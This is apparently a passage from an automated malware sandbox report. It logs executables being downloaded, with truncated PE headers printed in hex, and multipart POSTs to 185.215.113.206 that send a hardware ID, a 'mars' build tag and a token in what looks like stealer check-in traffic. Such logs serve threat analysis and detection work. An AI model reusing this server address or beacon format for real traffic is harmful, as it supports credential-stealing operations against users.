00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:59:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:59:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:59:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:59:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:59:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 20:59:54 GMTContent-Type: application/octet-streamContent-Length: 1848832Last-Modified: Sat, 23 Nov 2024 20:45:04 GMTConnection: keep-aliveETag: "67423ed0-1c3600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 84 f7 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 37 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 37 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 77 66 72 62 69 6d 6f 00 20 19 00 00 20 30 00 00 18 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 75 68 67 6d 69 73 6c 00 10 00 00 00 40 49 00 00 06 00 00 00 0e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 14 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 43 36 45 41 32 37 31 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 2d 2d 0d 0a Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="hwid"20FC6EA271A51915334237------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="build"mars------AKECBFBAEBKJJJJKFCGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 